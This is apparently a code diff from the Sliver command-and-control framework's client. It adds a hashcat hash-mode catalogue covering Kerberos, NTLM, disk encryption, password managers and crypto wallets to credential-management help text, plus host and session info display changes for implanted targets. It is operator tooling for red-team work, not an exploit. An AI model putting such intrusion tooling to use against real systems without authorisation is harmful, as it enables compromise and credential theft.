+16500 | JWT (JSON Web Token)                                       | Network Protocol
+29200 | Radmin3                                                    | Network Protocol
+19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
+19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
+28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
+19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
+19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
+28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
+ 7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
+13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
+18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol
+ 5500 | NetNTLMv1 / NetNTLMv1+ESS                                  | Network Protocol
+27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                             | Network Protocol
+ 5600 | NetNTLMv2                                                  | Network Protocol
+27100 | NetNTLMv2 (NT)                                             | Network Protocol
+29100 | Flask Session Cookie ($salt.$salt.$pass)                   | Network Protocol
+ 4800 | iSCSI CHAP authentication, MD5(CHAP)                       | Network Protocol
+ 8500 | RACF                                                       | Operating System
+ 6300 | AIX {smd5}                                                 | Operating System
+ 6700 | AIX {ssha1}                                                | Operating System
+ 6400 | AIX {ssha256}                                              | Operating System
+ 6500 | AIX {ssha512}                                              | Operating System
+ 3000 | LM                                                         | Operating System
+19000 | QNX /etc/shadow (MD5)                                      | Operating System
+19100 | QNX /etc/shadow (SHA256)                                   | Operating System
+19200 | QNX /etc/shadow (SHA512)                                   | Operating System
+15300 | DPAPI masterkey file v1 (context 1 and 2)                  | Operating System
+15310 | DPAPI masterkey file v1 (context 3)                        | Operating System
+15900 | DPAPI masterkey file v2 (context 1 and 2)                  | Operating System
+15910 | DPAPI masterkey file v2 (context 3)                        | Operating System
+ 7200 | GRUB 2                                                     | Operating System
+12800 | MS-AzureSync PBKDF2-HMAC-SHA256                            | Operating System
+12400 | BSDi Crypt, Extended DES                                   | Operating System
+ 1000 | NTLM                                                       | Operating System
+ 9900 | Radmin2                                                    | Operating System
+ 5800 | Samsung Android Password/PIN                               | Operating System
+28100 | Windows Hello PIN/Password                                 | Operating System
+13800 | Windows Phone 8+ PIN/password                              | Operating System
+ 2410 | Cisco-ASA MD5                                              | Operating System
+ 9200 | Cisco-IOS $8$ (PBKDF2-SHA256)                              | Operating System
+ 9300 | Cisco-IOS $9$ (scrypt)                                     | Operating System
+ 5700 | Cisco-IOS type 4 (SHA256)                                  | Operating System
+ 2400 | Cisco-PIX MD5                                              | Operating System
+ 8100 | Citrix NetScaler (SHA1)                                    | Operating System
+22200 | Citrix NetScaler (SHA512)                                  | Operating System
+ 1100 | Domain Cached Credentials (DCC), MS Cache                  | Operating System
+ 2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2             | Operating System
+ 7000 | FortiGate (FortiOS)                                        | Operating System
+26300 | FortiGate256 (FortiOS256)                                  | Operating System
+  125 | ArubaOS                                                    | Operating System
+  501 | Juniper IVE                                                | Operating System
+   22 | Juniper NetScreen/SSG (ScreenOS)                           | Operating System
+15100 | Juniper/NetBSD sha1crypt                                   | Operating System
+26500 | iPhone passcode (UID key + System Keybag)                  | Operating System
+  122 | macOS v10.4, macOS v10.5, macOS v10.6                      | Operating System
+ 1722 | macOS v10.7                                                | Operating System
+ 7100 | macOS v10.8+ (PBKDF2-SHA512)                               | Operating System
+ 3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
+  500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)                  | Operating System
+ 1500 | descrypt, DES (Unix), Traditional DES                      | Operating System
+29000 | sha1($salt.sha1(utf16le($username).':'.utf16le($pass)))    | Operating System
+ 7400 | sha256crypt $5$, SHA256 (Unix)                             | Operating System
+ 1800 | sha512crypt $6$, SHA512 (Unix)                             | Operating System
+24600 | SQLCipher                                                  | Database Server
+  131 | MSSQL (2000)                                               | Database Server
+  132 | MSSQL (2005)                                               | Database Server
+ 1731 | MSSQL (2012, 2014)                                         | Database Server
+24100 | MongoDB ServerKey SCRAM-SHA-1                              | Database Server
+24200 | MongoDB ServerKey SCRAM-SHA-256                            | Database Server
+   12 | PostgreSQL                                                 | Database Server
+11100 | PostgreSQL CRAM (MD5)                                      | Database Server
+28600 | PostgreSQL SCRAM-SHA-256                                   | Database Server
+ 3100 | Oracle H: Type (Oracle 7+)                                 | Database Server
+  112 | Oracle S: Type (Oracle 11+)                                | Database Server
+12300 | Oracle T: Type (Oracle 12+)                                | Database Server
+ 7401 | MySQL $A$ (sha256crypt)                                    | Database Server
+11200 | MySQL CRAM (SHA1)                                          | Database Server
+  200 | MySQL323                                                   | Database Server
+  300 | MySQL4.1/MySQL5                                            | Database Server
+ 8000 | Sybase ASE                                                 | Database Server
+ 8300 | DNSSEC (NSEC3)                                             | FTP, HTTP, SMTP, LDAP Server
+25900 | KNX IP Secure - Device Authentication Code                 | FTP, HTTP, SMTP, LDAP Server
+16400 | CRAM-MD5 Dovecot                                           | FTP, HTTP, SMTP, LDAP Server
+ 1411 | SSHA-256(Base64), LDAP {SSHA256}                           | FTP, HTTP, SMTP, LDAP Server
+ 1711 | SSHA-512(Base64), LDAP {SSHA512}                           | FTP, HTTP, SMTP, LDAP Server
+24900 | Dahua Authentication MD5                                   | FTP, HTTP, SMTP, LDAP Server
+10901 | RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)                    | FTP, HTTP, SMTP, LDAP Server
+15000 | FileZilla Server >= 0.9.55                                 | FTP, HTTP, SMTP, LDAP Server
+12600 | ColdFusion 10+                                             | FTP, HTTP, SMTP, LDAP Server
+ 1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)                      | FTP, HTTP, SMTP, LDAP Server
+  141 | Episerver 6.x < .NET 4                                     | FTP, HTTP, SMTP, LDAP Server
+ 1441 | Episerver 6.x >= .NET 4                                    | FTP, HTTP, SMTP, LDAP Server
+ 1421 | hMailServer                                                | FTP, HTTP, SMTP, LDAP Server
+  101 | nsldap, SHA-1(Base64), Netscape LDAP SHA                   | FTP, HTTP, SMTP, LDAP Server
+  111 | nsldaps, SSHA-1(Base64), Netscape LDAP SSHA                | FTP, HTTP, SMTP, LDAP Server
+ 7700 | SAP CODVN B (BCODE)                                        | Enterprise Application Software (EAS)
+ 7701 | SAP CODVN B (BCODE) from RFC_READ_TABLE                    | Enterprise Application Software (EAS)
+ 7800 | SAP CODVN F/G (PASSCODE)                                   | Enterprise Application Software (EAS)
+ 7801 | SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE               | Enterprise Application Software (EAS)
+10300 | SAP CODVN H (PWDSALTEDHASH) iSSHA-1                        | Enterprise Application Software (EAS)
+  133 | PeopleSoft                                                 | Enterprise Application Software (EAS)
+13500 | PeopleSoft PS_TOKEN                                        | Enterprise Application Software (EAS)
+21500 | SolarWinds Orion                                           | Enterprise Application Software (EAS)
+21501 | SolarWinds Orion v2                                        | Enterprise Application Software (EAS)
+   24 | SolarWinds Serv-U                                          | Enterprise Application Software (EAS)
+ 8600 | Lotus Notes/Domino 5                                       | Enterprise Application Software (EAS)
+ 8700 | Lotus Notes/Domino 6                                       | Enterprise Application Software (EAS)
+ 9100 | Lotus Notes/Domino 8                                       | Enterprise Application Software (EAS)
+26200 | OpenEdge Progress Encode                                   | Enterprise Application Software (EAS)
+20600 | Oracle Transportation Management (SHA256)                  | Enterprise Application Software (EAS)
+ 4711 | Huawei sha1(md5($pass).$salt)                              | Enterprise Application Software (EAS)
+20711 | AuthMe sha256                                              | Enterprise Application Software (EAS)
+22400 | AES Crypt (SHA256)                                         | Full-Disk Encryption (FDE)
+27400 | VMware VMX (PBKDF2-HMAC-SHA1 + AES-256-CBC)                | Full-Disk Encryption (FDE)
+14600 | LUKS v1 (legacy)                                           | Full-Disk Encryption (FDE)
+29541 | LUKS v1 RIPEMD-160 + AES                                   | Full-Disk Encryption (FDE)
+29542 | LUKS v1 RIPEMD-160 + Serpent                               | Full-Disk Encryption (FDE)
+29543 | LUKS v1 RIPEMD-160 + Twofish                               | Full-Disk Encryption (FDE)
+29511 | LUKS v1 SHA-1 + AES                                        | Full-Disk Encryption (FDE)
+29512 | LUKS v1 SHA-1 + Serpent                                    | Full-Disk Encryption (FDE)
+29513 | LUKS v1 SHA-1 + Twofish                                    | Full-Disk Encryption (FDE)
+29521 | LUKS v1 SHA-256 + AES                                      | Full-Disk Encryption (FDE)
+29522 | LUKS v1 SHA-256 + Serpent                                  | Full-Disk Encryption (FDE)
+29523 | LUKS v1 SHA-256 + Twofish                                  | Full-Disk Encryption (FDE)
+29531 | LUKS v1 SHA-512 + AES                                      | Full-Disk Encryption (FDE)
+29532 | LUKS v1 SHA-512 + Serpent                                  | Full-Disk Encryption (FDE)
+29533 | LUKS v1 SHA-512 + Twofish                                  | Full-Disk Encryption (FDE)
+13711 | VeraCrypt RIPEMD160 + XTS 512 bit (legacy)                 | Full-Disk Encryption (FDE)
+13712 | VeraCrypt RIPEMD160 + XTS 1024 bit (legacy)                | Full-Disk Encryption (FDE)
+13713 | VeraCrypt RIPEMD160 + XTS 1536 bit (legacy)                | Full-Disk Encryption (FDE)
+13741 | VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy)     | Full-Disk Encryption (FDE)
+13742 | VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy)    | Full-Disk Encryption (FDE)
+13743 | VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy)    | Full-Disk Encryption (FDE)
+29411 | VeraCrypt RIPEMD160 + XTS 512 bit                          | Full-Disk Encryption (FDE)
+29412 | VeraCrypt RIPEMD160 + XTS 1024 bit                         | Full-Disk Encryption (FDE)
+29413 | VeraCrypt RIPEMD160 + XTS 1536 bit                         | Full-Disk Encryption (FDE)
+29441 | VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode              | Full-Disk Encryption (FDE)
+29442 | VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode             | Full-Disk Encryption (FDE)
+29443 | VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode             | Full-Disk Encryption (FDE)
+13751 | VeraCrypt SHA256 + XTS 512 bit (legacy)                    | Full-Disk Encryption (FDE)
+13752 | VeraCrypt SHA256 + XTS 1024 bit (legacy)                   | Full-Disk Encryption (FDE)
+13753 | VeraCrypt SHA256 + XTS 1536 bit (legacy)                   | Full-Disk Encryption (FDE)
+13761 | VeraCrypt SHA256 + XTS 512 bit + boot-mode (legacy)        | Full-Disk Encryption (FDE)
+13762 | VeraCrypt SHA256 + XTS 1024 bit + boot-mode (legacy)       | Full-Disk Encryption (FDE)
+13763 | VeraCrypt SHA256 + XTS 1536 bit + boot-mode (legacy)       | Full-Disk Encryption (FDE)
+29451 | VeraCrypt SHA256 + XTS 512 bit                             | Full-Disk Encryption (FDE)
+29452 | VeraCrypt SHA256 + XTS 1024 bit                            | Full-Disk Encryption (FDE)
+29453 | VeraCrypt SHA256 + XTS 1536 bit                            | Full-Disk Encryption (FDE)
+29461 | VeraCrypt SHA256 + XTS 512 bit + boot-mode                 | Full-Disk Encryption (FDE)
+29462 | VeraCrypt SHA256 + XTS 1024 bit + boot-mode                | Full-Disk Encryption (FDE)
+29463 | VeraCrypt SHA256 + XTS 1536 bit + boot-mode                | Full-Disk Encryption (FDE)
+13721 | VeraCrypt SHA512 + XTS 512 bit (legacy)                    | Full-Disk Encryption (FDE)
+13722 | VeraCrypt SHA512 + XTS 1024 bit (legacy)                   | Full-Disk Encryption (FDE)
+13723 | VeraCrypt SHA512 + XTS 1536 bit (legacy)                   | Full-Disk Encryption (FDE)
+29421 | VeraCrypt SHA512 + XTS 512 bit                             | Full-Disk Encryption (FDE)
+29422 | VeraCrypt SHA512 + XTS 1024 bit                            | Full-Disk Encryption (FDE)
+29423 | VeraCrypt SHA512 + XTS 1536 bit                            | Full-Disk Encryption (FDE)
+13771 | VeraCrypt Streebog-512 + XTS 512 bit (legacy)              | Full-Disk Encryption (FDE)
+13772 | VeraCrypt Streebog-512 + XTS 1024 bit (legacy)             | Full-Disk Encryption (FDE)
+13773 | VeraCrypt Streebog-512 + XTS 1536 bit (legacy)             | Full-Disk Encryption (FDE)
+13781 | VeraCrypt Streebog-512 + XTS 512 bit + boot-mode (legacy)  | Full-Disk Encryption (FDE)
+13782 | VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
+13783 | VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
+29471 | VeraCrypt Streebog-512 + XTS 512 bit                       | Full-Disk Encryption (FDE)
+29472 | VeraCrypt Streebog-512 + XTS 1024 bit                      | Full-Disk Encryption (FDE)
+29473 | VeraCrypt Streebog-512 + XTS 1536 bit                      | Full-Disk Encryption (FDE)
+29481 | VeraCrypt Streebog-512 + XTS 512 bit + boot-mode           | Full-Disk Encryption (FDE)
+29482 | VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode          | Full-Disk Encryption (FDE)
+29483 | VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode          | Full-Disk Encryption (FDE)
+13731 | VeraCrypt Whirlpool + XTS 512 bit (legacy)                 | Full-Disk Encryption (FDE)
+13732 | VeraCrypt Whirlpool + XTS 1024 bit (legacy)                | Full-Disk Encryption (FDE)
+13733 | VeraCrypt Whirlpool + XTS 1536 bit (legacy)                | Full-Disk Encryption (FDE)
+29431 | VeraCrypt Whirlpool + XTS 512 bit                          | Full-Disk Encryption (FDE)
+29432 | VeraCrypt Whirlpool + XTS 1024 bit                         | Full-Disk Encryption (FDE)
+29433 | VeraCrypt Whirlpool + XTS 1536 bit                         | Full-Disk Encryption (FDE)
+23900 | BestCrypt v3 Volume Encryption                             | Full-Disk Encryption (FDE)
+16700 | FileVault 2                                                | Full-Disk Encryption (FDE)
+27500 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-128-XTS)              | Full-Disk Encryption (FDE)
+27600 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-256-XTS)              | Full-Disk Encryption (FDE)
+20011 | DiskCryptor SHA512 + XTS 512 bit                           | Full-Disk Encryption (FDE)
+20012 | DiskCryptor SHA512 + XTS 1024 bit                          | Full-Disk Encryption (FDE)
+20013 | DiskCryptor SHA512 + XTS 1536 bit                          | Full-Disk Encryption (FDE)
+22100 | BitLocker                                                  | Full-Disk Encryption (FDE)
+12900 | Android FDE (Samsung DEK)                                  | Full-Disk Encryption (FDE)
+ 8800 | Android FDE <= 4.3                                         | Full-Disk Encryption (FDE)
+18300 | Apple File System (APFS)                                   | Full-Disk Encryption (FDE)
+ 6211 | TrueCrypt RIPEMD160 + XTS 512 bit (legacy)                 | Full-Disk Encryption (FDE)
+ 6212 | TrueCrypt RIPEMD160 + XTS 1024 bit (legacy)                | Full-Disk Encryption (FDE)
+ 6213 | TrueCrypt RIPEMD160 + XTS 1536 bit (legacy)                | Full-Disk Encryption (FDE)
+ 6241 | TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy)     | Full-Disk Encryption (FDE)
+ 6242 | TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy)    | Full-Disk Encryption (FDE)
+ 6243 | TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy)    | Full-Disk Encryption (FDE)
+29311 | TrueCrypt RIPEMD160 + XTS 512 bit                          | Full-Disk Encryption (FDE)
+29312 | TrueCrypt RIPEMD160 + XTS 1024 bit                         | Full-Disk Encryption (FDE)
+29313 | TrueCrypt RIPEMD160 + XTS 1536 bit                         | Full-Disk Encryption (FDE)
+29341 | TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode              | Full-Disk Encryption (FDE)
+29342 | TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode             | Full-Disk Encryption (FDE)
+29343 | TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode             | Full-Disk Encryption (FDE)
+ 6221 | TrueCrypt SHA512 + XTS 512 bit (legacy)                    | Full-Disk Encryption (FDE)
+ 6222 | TrueCrypt SHA512 + XTS 1024 bit (legacy)                   | Full-Disk Encryption (FDE)
+ 6223 | TrueCrypt SHA512 + XTS 1536 bit (legacy)                   | Full-Disk Encryption (FDE)
+29321 | TrueCrypt SHA512 + XTS 512 bit                             | Full-Disk Encryption (FDE)
+29322 | TrueCrypt SHA512 + XTS 1024 bit                            | Full-Disk Encryption (FDE)
+29323 | TrueCrypt SHA512 + XTS 1536 bit                            | Full-Disk Encryption (FDE)
+ 6231 | TrueCrypt Whirlpool + XTS 512 bit (legacy)                 | Full-Disk Encryption (FDE)
+ 6232 | TrueCrypt Whirlpool + XTS 1024 bit (legacy)                | Full-Disk Encryption (FDE)
+ 6233 | TrueCrypt Whirlpool + XTS 1536 bit (legacy)                | Full-Disk Encryption (FDE)
+29331 | TrueCrypt Whirlpool + XTS 512 bit                          | Full-Disk Encryption (FDE)
+29332 | TrueCrypt Whirlpool + XTS 1024 bit                         | Full-Disk Encryption (FDE)
+29333 | TrueCrypt Whirlpool + XTS 1536 bit                         | Full-Disk Encryption (FDE)
+12200 | eCryptfs                                                   | Full-Disk Encryption (FDE)
+10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4)                              | Document
+10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1                 | Document
+10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2                 | Document
+10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8)                              | Document
+25400 | PDF 1.4 - 1.6 (Acrobat 5 - 8) - user and owner pass        | Document
+10600 | PDF 1.7 Level 3 (Acrobat 9)                                | Document
+10700 | PDF 1.7 Level 8 (Acrobat 10 - 11)                          | Document
+ 9400 | MS Office 2007                                             | Document
+ 9500 | MS Office 2010                                             | Document
+ 9600 | MS Office 2013                                             | Document
+25300 | MS Office 2016 - SheetProtection                           | Document
+ 9700 | MS Office <= 2003 $0/$1, MD5 + RC4                         | Document
+ 9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1            | Document
+ 9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2            | Document
+ 9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1              | Document
+ 9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2              | Document
+ 9800 | MS Office <= 2003 $3/$4, SHA1 + RC4                        | Document
+18400 | Open Document Format (ODF) 1.2 (SHA-256, AES)              | Document
+18600 | Open Document Format (ODF) 1.1 (SHA-1, Blowfish)           | Document
+16200 | Apple Secure Notes                                         | Document
+23300 | Apple iWork                                                | Document
+ 6600 | 1Password, agilekeychain                                   | Password Manager
+ 8200 | 1Password, cloudkeychain                                   | Password Manager
+ 9000 | Password Safe v2                                           | Password Manager
+ 5200 | Password Safe v3                                           | Password Manager
+ 6800 | LastPass + LastPass sniffed                                | Password Manager
+13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES)                | Password Manager
+29700 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) - keyfile only | Password Manager
+23400 | Bitwarden                                                  | Password Manager
+16900 | Ansible Vault                                              | Password Manager
+26000 | Mozilla key3.db                                            | Password Manager
+26100 | Mozilla key4.db                                            | Password Manager
+23100 | Apple Keychain                                             | Password Manager
+11600 | 7-Zip                                                      | Archive
+12500 | RAR3-hp                                                    | Archive
+23700 | RAR3-p (Uncompressed)                                      | Archive
+13000 | RAR5                                                       | Archive
+17220 | PKZIP (Compressed Multi-File)                              | Archive
+17200 | PKZIP (Compressed)                                         | Archive
+17225 | PKZIP (Mixed Multi-File)                                   | Archive
+17230 | PKZIP (Mixed Multi-File Checksum-Only)                     | Archive
+17210 | PKZIP (Uncompressed)                                       | Archive
+20500 | PKZIP Master Key                                           | Archive
+20510 | PKZIP Master Key (6 byte optimization)                     | Archive
+23001 | SecureZIP AES-128                                          | Archive
+23002 | SecureZIP AES-192                                          | Archive
+23003 | SecureZIP AES-256                                          | Archive
+13600 | WinZip                                                     | Archive
+18900 | Android Backup                                             | Archive
+24700 | Stuffit5                                                   | Archive
+13200 | AxCrypt 1                                                  | Archive
+13300 | AxCrypt 1 in-memory SHA1                                   | Archive
+23500 | AxCrypt 2 AES-128                                          | Archive
+23600 | AxCrypt 2 AES-256                                          | Archive
+14700 | iTunes backup < 10.0                                       | Archive
+14800 | iTunes backup >= 10.0                                      | Archive
+ 8400 | WBB3 (Woltlab Burning Board)                               | Forums, CMS, E-Commerce
+ 2612 | PHPS                                                       | Forums, CMS, E-Commerce
+  121 | SMF (Simple Machines Forum) > v1.1                         | Forums, CMS, E-Commerce
+ 3711 | MediaWiki B type                                           | Forums, CMS, E-Commerce
+ 4521 | Redmine                                                    | Forums, CMS, E-Commerce
+24800 | Umbraco HMAC-SHA1                                          | Forums, CMS, E-Commerce
+   11 | Joomla < 2.5.18                                            | Forums, CMS, E-Commerce
+13900 | OpenCart                                                   | Forums, CMS, E-Commerce
+11000 | PrestaShop                                                 | Forums, CMS, E-Commerce
+16000 | Tripcode                                                   | Forums, CMS, E-Commerce
+ 7900 | Drupal7                                                    | Forums, CMS, E-Commerce
+ 4522 | PunBB                                                      | Forums, CMS, E-Commerce
+ 2811 | MyBB 1.2+, IPB2+ (Invision Power Board)                    | Forums, CMS, E-Commerce
+ 2611 | vBulletin < v3.8.5                                         | Forums, CMS, E-Commerce
+ 2711 | vBulletin >= v3.8.5                                        | Forums, CMS, E-Commerce
+25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
+25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
+28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce
+   21 | osCommerce, xt:Commerce                                    | Forums, CMS, E-Commerce
+18100 | TOTP (HMAC-SHA1)                                           | One-Time Password
+ 2000 | STDOUT                                                     | Plaintext
+99999 | Plaintext                                                  | Plaintext
+21600 | Web2py pbkdf2-sha512                                       | Framework
+10000 | Django (PBKDF2-SHA256)                                     | Framework
+  124 | Django (SHA-1)                                             | Framework
+12001 | Atlassian (PBKDF2-HMAC-SHA1)                               | Framework
+19500 | Ruby on Rails Restful-Authentication                       | Framework
+27200 | Ruby on Rails Restful Auth (one round, no sitekey)         | Framework
+30000 | Python Werkzeug MD5 (HMAC-MD5 (key = $salt))               | Framework
+30120 | Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt))         | Framework
+20200 | Python passlib pbkdf2-sha512                               | Framework
+20300 | Python passlib pbkdf2-sha256                               | Framework
+20400 | Python passlib pbkdf2-sha1                                 | Framework
+24410 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)          | Private Key
+24420 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)        | Private Key
+15500 | JKS Java Key Store Private Keys (SHA1)                     | Private Key
+22911 | RSA/DSA/EC/OpenSSH Private Keys ($0$)                      | Private Key
+22921 | RSA/DSA/EC/OpenSSH Private Keys ($6$)                      | Private Key
+22931 | RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)                  | Private Key
+22941 | RSA/DSA/EC/OpenSSH Private Keys ($4$)                      | Private Key
+22951 | RSA/DSA/EC/OpenSSH Private Keys ($5$)                      | Private Key
+23200 | XMPP SCRAM PBKDF2-SHA1                                     | Instant Messaging Service
+28300 | Teamspeak 3 (channel hash)                                 | Instant Messaging Service
+22600 | Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)              | Instant Messaging Service
+24500 | Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)           | Instant Messaging Service
+22301 | Telegram Mobile App Passcode (SHA256)                      | Instant Messaging Service
+   23 | Skype                                                      | Instant Messaging Service
+29600 | Terra Station Wallet (AES256-CBC(PBKDF2($pass)))           | Cryptocurrency Wallet
+26600 | MetaMask Wallet                                            | Cryptocurrency Wallet
+21000 | BitShares v0.x - sha512(sha512_bin(pass))                  | Cryptocurrency Wallet
+28501 | Bitcoin WIF private key (P2PKH), compressed                | Cryptocurrency Wallet
+28502 | Bitcoin WIF private key (P2PKH), uncompressed              | Cryptocurrency Wallet
+28503 | Bitcoin WIF private key (P2WPKH, Bech32), compressed       | Cryptocurrency Wallet
+28504 | Bitcoin WIF private key (P2WPKH, Bech32), uncompressed     | Cryptocurrency Wallet
+28505 | Bitcoin WIF private key (P2SH(P2WPKH)), compressed         | Cryptocurrency Wallet
+28506 | Bitcoin WIF private key (P2SH(P2WPKH)), uncompressed       | Cryptocurrency Wallet
+11300 | Bitcoin/Litecoin wallet.dat                                | Cryptocurrency Wallet
+16600 | Electrum Wallet (Salt-Type 1-3)                            | Cryptocurrency Wallet
+21700 | Electrum Wallet (Salt-Type 4)                              | Cryptocurrency Wallet
+21800 | Electrum Wallet (Salt-Type 5)                              | Cryptocurrency Wallet
+12700 | Blockchain, My Wallet                                      | Cryptocurrency Wallet
+15200 | Blockchain, My Wallet, V2                                  | Cryptocurrency Wallet
+18800 | Blockchain, My Wallet, Second Password (SHA256)            | Cryptocurrency Wallet
+25500 | Stargazer Stellar Wallet XLM                               | Cryptocurrency Wallet
+16300 | Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256               | Cryptocurrency Wallet
+15600 | Ethereum Wallet, PBKDF2-HMAC-SHA256                        | Cryptocurrency Wallet
+15700 | Ethereum Wallet, SCRYPT                                    | Cryptocurrency Wallet
+22500 | MultiBit Classic .key (MD5)                                | Cryptocurrency Wallet
+27700 | MultiBit Classic .wallet (scrypt)                          | Cryptocurrency Wallet
+22700 | MultiBit HD (scrypt)                                       | Cryptocurrency Wallet
+28200 | Exodus Desktop Wallet (scrypt)                             | Cryptocurrency Wallet
+`
+
+	credsAddFileHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] creds add file
+[[.Bold]]About:[[.Normal]] Add a file containing credentials to the database.
+
+[[.Bold]]File Formats:[[.Normal]]
+% 10s - One hash per line.
+% 10s - A file containing lines of 'username:hash' pairs.
+% 10s - A CSV file containing 'username,hash' pairs (additional columns ignored).
+`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat)
 )
 
 const (

client/command/hosts/hosts.go

@@ -26,6 +26,7 @@ import (
 	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -65,10 +66,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 		"ID",
 		"Hostname",
 		"Operating System",
+		"Locale",
 		"Sessions",
 		"Beacons",
 		"IOCs",
 		"Extensions",
+		"First Contact",
 	})
 	for _, host := range hosts {
 		var shortID string
@@ -81,10 +84,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 			shortID,
 			host.Hostname,
 			host.OSVersion,
+			host.Locale,
 			hostSessions(host.HostUUID, con),
 			hostBeacons(host.HostUUID, con),
 			len(host.IOCs),
 			len(host.ExtensionData),
+			con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
 		})
 	}
 	return tw.Render()

client/command/info/info.go

@@ -22,6 +22,7 @@ import (
 	"context"
 	"time"
 
+	"github.com/bishopfox/sliver/client/command/use"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -33,10 +34,33 @@ import (
 
 // InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
+	var err error
+
+	// Check if we have an active target via 'use'
+	session, beacon := con.ActiveTarget.Get()
+
+	idArg := ctx.Args.String("session")
+	if idArg != "" {
+		// ID passed via argument takes priority
+		session, beacon, err = use.SessionOrBeaconByID(idArg, con)
+	} else if session != nil || beacon != nil {
+		var currID = ""
+		if session != nil {
+			currID = session.ID
+		} else {
+			currID = beacon.ID
+		}
+		session, beacon, err = use.SessionOrBeaconByID(currID, con)
+	} else {
+		if session == nil && beacon == nil {
+			session, beacon, err = use.SelectSessionOrBeacon(con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+		}
 	}
+
 	if session != nil {
 
 		con.Printf(console.Bold+"        Session ID: %s%s\n", console.Normal, session.ID)
@@ -49,11 +73,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, session.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, session.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, session.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, session.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, session.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
 		con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
 
 	} else if beacon != nil {
 
@@ -67,12 +94,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
